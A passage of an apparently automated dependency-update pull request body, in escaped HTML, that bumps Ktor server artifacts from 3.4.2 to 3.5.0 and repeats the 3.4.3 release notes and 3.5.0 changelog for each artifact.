changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e3.5.0\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 14 May 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8421\"\u003eKTOR-8421\u003c/a\u003e Route.contentType should support multiple ContentType\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7961\"\u003eKTOR-7961\u003c/a\u003e Add known TDM headers to the HttpHeaders object\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9418\"\u003eKTOR-9418\u003c/a\u003e Support getAs from the root ApplicationConfig\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9559\"\u003eKTOR-9559\u003c/a\u003e DNS configuration for the Apache5 client\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9554\"\u003eKTOR-9554\u003c/a\u003e DNS configuration for OkHttp client engine\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9555\"\u003eKTOR-9555\u003c/a\u003e Custom SSE heartbeat function\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8914\"\u003eKTOR-8914\u003c/a\u003e Dependency injection: read annotations in function references\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8300\"\u003eKTOR-8300\u003c/a\u003e Sessions: Add a way to create a user session shared for all user devices or look up sessions of the same user\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9521\"\u003eKTOR-9521\u003c/a\u003e Upgrade to Kotlin 2.3.21\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9276\"\u003eKTOR-9276\u003c/a\u003e Make DynamicProviderConfig.authenticateFunction suspend\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9491\"\u003eKTOR-9491\u003c/a\u003e Provide parameter validation convenience functions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9506\"\u003eKTOR-9506\u003c/a\u003e OpenAPI: Support prefixItems in JsonSchema for tuple type definitions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-470\"\u003eKTOR-470\u003c/a\u003e Add an option to not resend the session cookie if the session data wasn't changed.\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9355\"\u003eKTOR-9355\u003c/a\u003e Deprecate HttpHeaders.AcceptCharset\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7659\"\u003eKTOR-7659\u003c/a\u003e Make ktor-network compatible with ES modules for nodejs\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9350\"\u003eKTOR-9350\u003c/a\u003e JS: Make ES2015 the default target for tests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7578\"\u003eKTOR-7578\u003c/a\u003e Update Digest authentication implementation according to RFC 7616\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9503\"\u003eKTOR-9503\u003c/a\u003e The JacksonConverter.streamRequestBody property name is confusing\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9552\"\u003eKTOR-9552\u003c/a\u003e Deprecation notice for io.ktor.server.auth.Principal does not explain what to use instead\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7458\"\u003eKTOR-7458\u003c/a\u003e Jetty Jakarta: Provide an easy way to disable SNI hostname validation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9354\"\u003eKTOR-9354\u003c/a\u003e Websockets: webSocket builder function should return a Route to be describable\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9488\"\u003eKTOR-9488\u003c/a\u003e Nonce and hex function performance optimizations\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9524\"\u003eKTOR-9524\u003c/a\u003e Netty response hangs after connection lost\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9542\"\u003eKTOR-9542\u003c/a\u003e Netty: The request handler runs on worker event loop instead of call event loop since 3.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9531\"\u003eKTOR-9531\u003c/a\u003e Netty server intermittently drops requests after upgrading to 3.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8151\"\u003eKTOR-8151\u003c/a\u003e MicrometerMetrics: \u0026quot;MeterFilters configured after a Meter has been registered\u0026quot; warning when a metric is registered before installing the plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9411\"\u003eKTOR-9411\u003c/a\u003e Darwin throws DarwinHttpRequestException instead of FrameTooBigException\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8320\"\u003eKTOR-8320\u003c/a\u003e CallLogging: plugin usage in testApplication breaks console standard output\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8906\"\u003eKTOR-8906\u003c/a\u003e Jackson, with request body streaming on, exhausts Dispatchers.IO\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8709\"\u003eKTOR-8709\u003c/a\u003e Websockets: Unable to close session with a custom CloseReason\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9567\"\u003eKTOR-9567\u003c/a\u003e Flaky UnixSockets on Windows: WSAEOPNOTSUPP from bind()\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9183\"\u003eKTOR-9183\u003c/a\u003e A client call wrapped with \u003ccode\u003ewithTimeout\u003c/code\u003e throws a generic CancellationException instead of TimeoutCancellationException\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8199\"\u003eKTOR-8199\u003c/a\u003e Autoreloading: default watch patterns don't match anything when project path contain spaces\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9549\"\u003eKTOR-9549\u003c/a\u003e Kotlin/JS: ktor-ktor-client-core.mjs is incompatible with Vite: toRaw naming conflict\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9544\"\u003eKTOR-9544\u003c/a\u003e Apache: body channel not cancelled when caller scope is cancelled\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9546\"\u003eKTOR-9546\u003c/a\u003e HttpClient: cancelling ByteReadChannel body does not propagate to engine\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-455\"\u003eKTOR-455\u003c/a\u003e Content-Disposition additional parameters should be inside quotes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9500\"\u003eKTOR-9500\u003c/a\u003e RawSourceChannel returns false positive on awaitContent\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-646\"\u003eKTOR-646\u003c/a\u003e Netty engine still print annoying exceptions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9527\"\u003eKTOR-9527\u003c/a\u003e Curl: Freeze when receiving large responses\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9460\"\u003eKTOR-9460\u003c/a\u003e Curl: Can't build shared library with Ktor 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9483\"\u003eKTOR-9483\u003c/a\u003e Curl: backpressure implementation is never used\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/ktorio/ktor/commits\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `io.ktor:ktor-server-netty-jvm` from 3.4.2 to 3.5.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/releases\"\u003eio.ktor:ktor-server-netty-jvm's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.4.3\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 22 April 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9451\"\u003eKTOR-9451\u003c/a\u003e OpenAPI schema inference not working for custom nested generics\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9490\"\u003eKTOR-9490\u003c/a\u003e OpenAPI: Self-referential schema $ref uses FQN while schema is registered with a simple name\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9463\"\u003eKTOR-9463\u003c/a\u003e OpenAPI: schema inference StackOverflow\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8938\"\u003eKTOR-8938\u003c/a\u003e WebSockets: WebSockets handler does not inherit server coroutine context\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8989\"\u003eKTOR-8989\u003c/a\u003e Shared engine is closed when a client created with \u003ccode\u003econfig\u003c/code\u003e method is closed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9485\"\u003eKTOR-9485\u003c/a\u003e Apache5: FutureCallback never called, breaking Java agent instrumentation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9497\"\u003eKTOR-9497\u003c/a\u003e Darwin: SIGABRT crash when \u003ccode\u003eclose()\u003c/code\u003e races with in-flight \u003ccode\u003eexecute()\u003c/code\u003e since 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9431\"\u003eKTOR-9431\u003c/a\u003e SuspendFunctionGun: ThreadContextElement leaks across requests when interceptor suspends\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9423\"\u003eKTOR-9423\u003c/a\u003e CannotTransformContentToTypeException leaks internal class names in response body\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9461\"\u003eKTOR-9461\u003c/a\u003e Incorrect link to the OWASP cheatsheet in the KDoc for CSRF plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9476\"\u003eKTOR-9476\u003c/a\u003e Unable to update/remove session data if no response content\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9343\"\u003eKTOR-9343\u003c/a\u003e HttpRequestLifecycle plugin with \u003ccode\u003ecancelCallOnClose\u003c/code\u003e on, cancels subsequent requests when CallLogging plugin with callIdMdc is installed\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/blob/main/CHANGELOG.md\"\u003eio.ktor:ktor-server-netty-jvm's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e3.5.0\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 14 May 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8421\"\u003eKTOR-8421\u003c/a\u003e Route.contentType should support multiple ContentType\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7961\"\u003eKTOR-7961\u003c/a\u003e Add known TDM headers to the HttpHeaders object\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9418\"\u003eKTOR-9418\u003c/a\u003e Support getAs from the root ApplicationConfig\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9559\"\u003eKTOR-9559\u003c/a\u003e DNS configuration for the Apache5 client\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9554\"\u003eKTOR-9554\u003c/a\u003e DNS configuration for OkHttp client engine\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9555\"\u003eKTOR-9555\u003c/a\u003e Custom SSE heartbeat function\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8914\"\u003eKTOR-8914\u003c/a\u003e Dependency injection: read annotations in function references\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8300\"\u003eKTOR-8300\u003c/a\u003e Sessions: Add a way to create a user session shared for all user devices or look up sessions of the same user\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9521\"\u003eKTOR-9521\u003c/a\u003e Upgrade to Kotlin 2.3.21\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9276\"\u003eKTOR-9276\u003c/a\u003e Make DynamicProviderConfig.authenticateFunction suspend\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9491\"\u003eKTOR-9491\u003c/a\u003e Provide parameter validation convenience functions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9506\"\u003eKTOR-9506\u003c/a\u003e OpenAPI: Support prefixItems in JsonSchema for tuple type definitions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-470\"\u003eKTOR-470\u003c/a\u003e Add an option to not resend the session cookie if the session data wasn't changed.\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9355\"\u003eKTOR-9355\u003c/a\u003e Deprecate HttpHeaders.AcceptCharset\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7659\"\u003eKTOR-7659\u003c/a\u003e Make ktor-network compatible with ES modules for nodejs\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9350\"\u003eKTOR-9350\u003c/a\u003e JS: Make ES2015 the default target for tests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7578\"\u003eKTOR-7578\u003c/a\u003e Update Digest authentication implementation according to RFC 7616\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9503\"\u003eKTOR-9503\u003c/a\u003e The JacksonConverter.streamRequestBody property name is confusing\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9552\"\u003eKTOR-9552\u003c/a\u003e Deprecation notice for io.ktor.server.auth.Principal does not explain what to use instead\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7458\"\u003eKTOR-7458\u003c/a\u003e Jetty Jakarta: Provide an easy way to disable SNI hostname validation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9354\"\u003eKTOR-9354\u003c/a\u003e Websockets: webSocket builder function should return a Route to be describable\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9488\"\u003eKTOR-9488\u003c/a\u003e Nonce and hex function performance optimizations\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9524\"\u003eKTOR-9524\u003c/a\u003e Netty response hangs after connection lost\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9542\"\u003eKTOR-9542\u003c/a\u003e Netty: The request handler runs on worker event loop instead of call event loop since 3.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9531\"\u003eKTOR-9531\u003c/a\u003e Netty server intermittently drops requests after upgrading to 3.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8151\"\u003eKTOR-8151\u003c/a\u003e MicrometerMetrics: \u0026quot;MeterFilters configured after a Meter has been registered\u0026quot; warning when a metric is registered before installing the plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9411\"\u003eKTOR-9411\u003c/a\u003e Darwin throws DarwinHttpRequestException instead of FrameTooBigException\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8320\"\u003eKTOR-8320\u003c/a\u003e CallLogging: plugin usage in testApplication breaks console standard output\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8906\"\u003eKTOR-8906\u003c/a\u003e Jackson, with request body streaming on, exhausts Dispatchers.IO\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8709\"\u003eKTOR-8709\u003c/a\u003e Websockets: Unable to close session with a custom CloseReason\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9567\"\u003eKTOR-9567\u003c/a\u003e Flaky UnixSockets on Windows: WSAEOPNOTSUPP from bind()\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9183\"\u003eKTOR-9183\u003c/a\u003e A client call wrapped with \u003ccode\u003ewithTimeout\u003c/code\u003e throws a generic CancellationException instead of TimeoutCancellationException\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8199\"\u003eKTOR-8199\u003c/a\u003e Autoreloading: default watch patterns don't match anything when project path contain spaces\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9549\"\u003eKTOR-9549\u003c/a\u003e Kotlin/JS: ktor-ktor-client-core.mjs is incompatible with Vite: toRaw naming conflict\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9544\"\u003eKTOR-9544\u003c/a\u003e Apache: body channel not cancelled when caller scope is cancelled\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9546\"\u003eKTOR-9546\u003c/a\u003e HttpClient: cancelling ByteReadChannel body does not propagate to engine\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-455\"\u003eKTOR-455\u003c/a\u003e Content-Disposition additional parameters should be inside quotes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9500\"\u003eKTOR-9500\u003c/a\u003e RawSourceChannel returns false positive on awaitContent\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-646\"\u003eKTOR-646\u003c/a\u003e Netty engine still print annoying exceptions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9527\"\u003eKTOR-9527\u003c/a\u003e Curl: Freeze when receiving large responses\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9460\"\u003eKTOR-9460\u003c/a\u003e Curl: Can't build shared library with Ktor 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9483\"\u003eKTOR-9483\u003c/a\u003e Curl: backpressure implementation is never used\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/ktorio/ktor/commits\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `io.ktor:ktor-server-config-yaml` from 3.4.2 to 3.5.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/releases\"\u003eio.ktor:ktor-server-config-yaml's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.4.3\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 22 April 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9451\"\u003eKTOR-9451\u003c/a\u003e OpenAPI schema inference not working for custom nested generics\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9490\"\u003eKTOR-9490\u003c/a\u003e OpenAPI: Self-referential schema $ref uses FQN while schema is registered with a simple name\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9463\"\u003eKTOR-9463\u003c/a\u003e OpenAPI: schema inference StackOverflow\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8938\"\u003eKTOR-8938\u003c/a\u003e WebSockets: WebSockets handler does not inherit server coroutine context\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8989\"\u003eKTOR-8989\u003c/a\u003e Shared engine is closed when a client created with \u003ccode\u003econfig\u003c/code\u003e method is closed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9485\"\u003eKTOR-9485\u003c/a\u003e Apache5: FutureCallback never called, breaking Java agent instrumentation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9497\"\u003eKTOR-9497\u003c/a\u003e Darwin: SIGABRT crash when \u003ccode\u003eclose()\u003c/code\u003e races with in-flight \u003ccode\u003eexecute()\u003c/code\u003e since 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9431\"\u003eKTOR-9431\u003c/a\u003e SuspendFunctionGun: ThreadContextElement leaks across requests when interceptor suspends\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9423\"\u003eKTOR-9423\u003c/a\u003e CannotTransformContentToTypeException leaks internal class names in response body\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9461\"\u003eKTOR-9461\u003c/a\u003e Incorrect link to the OWASP cheatsheet in the KDoc for CSRF plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9476\"\u003eKTOR-9476\u003c/a\u003e Unable to update/remove session data if no response content\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9343\"\u003eKTOR-9343\u003c/a\u003e HttpRequestLifecycle plugin with \u003ccode\u003ecancelCallOnClose\u003c/code\u003e on, cancels subsequent requests when CallLogging plugin with callIdMdc is installed\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/blob/main/CHANGELOG.md\"\u003eio.ktor:ktor-server-config-yaml's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e3.5.0\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 14 May 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8421\"\u003eKTOR-8421\u003c/a\u003e Route.contentType should support multiple ContentType\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7961\"\u003eKTOR-7961\u003c/a\u003e Add known TDM headers to the HttpHeaders object\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9418\"\u003eKTOR-9418\u003c/a\u003e Support getAs from the root ApplicationConfig\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9559\"\u003eKTOR-9559\u003c/a\u003e DNS configuration for the Apache5 client\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9554\"\u003eKTOR-9554\u003c/a\u003e DNS configuration for OkHttp client engine\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9555\"\u003eKTOR-9555\u003c/a\u003e Custom SSE heartbeat function\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8914\"\u003eKTOR-8914\u003c/a\u003e Dependency injection: read annotations in function references\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8300\"\u003eKTOR-8300\u003c/a\u003e Sessions: Add a way to create a user session shared for all user devices or look up sessions of the same user\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9521\"\u003eKTOR-9521\u003c/a\u003e Upgrade to Kotlin 2.3.21\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9276\"\u003eKTOR-9276\u003c/a\u003e Make DynamicProviderConfig.authenticateFunction suspend\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9491\"\u003eKTOR-9491\u003c/a\u003e Provide parameter validation convenience functions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9506\"\u003eKTOR-9506\u003c/a\u003e OpenAPI: Support prefixItems in JsonSchema for tuple type definitions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-470\"\u003eKTOR-470\u003c/a\u003e Add an option to not resend the session cookie if the session data wasn't changed.\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9355\"\u003eKTOR-9355\u003c/a\u003e Deprecate HttpHeaders.AcceptCharset\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7659\"\u003eKTOR-7659\u003c/a\u003e Make ktor-network compatible with ES modules for nodejs\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9350\"\u003eKTOR-9350\u003c/a\u003e JS: Make ES2015 the default target for tests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7578\"\u003eKTOR-7578\u003c/a\u003e Update Digest authentication implementation 